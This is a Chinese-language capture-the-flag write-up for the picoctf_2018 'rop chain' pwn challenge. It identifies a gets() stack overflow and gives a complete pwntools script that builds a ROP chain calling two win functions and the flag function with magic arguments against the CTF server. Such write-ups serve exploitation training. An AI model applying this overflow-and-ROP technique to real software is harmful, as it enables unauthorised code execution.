[BUUCTF-pwn]——picoctf_2018_rop chain
checksec看看,开启了NX,但是没有canary
IDA中查看一下
发现gets函数,可以栈溢出
发现flag,不过需要满足条件,才可以获得
接着找可能用到的函数
接着找到对应函数的地址
思路
利用栈溢出,构造rop链,首先将win1 = 1, 然后 win2 = 1,最后获得flag
exploit
from pwn import *
p = remote("node3.buuoj.cn",25806)
win_function1 = 0x080485CB
win_function2 = 0x080485D8
flag = 0x0804862B
vuln = 0x08048714
payload = 'a' * (0x18 + 4) + p32(win_function1) + p32(win_function2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
p.sendlineafter("Enter your input> ", payload)
p.interactive()
想要知道0xBAAAAAAD 和 0xDEADBAAD怎么来的,可以
https://blog.csdn.net/Y_peak/article/details/114004550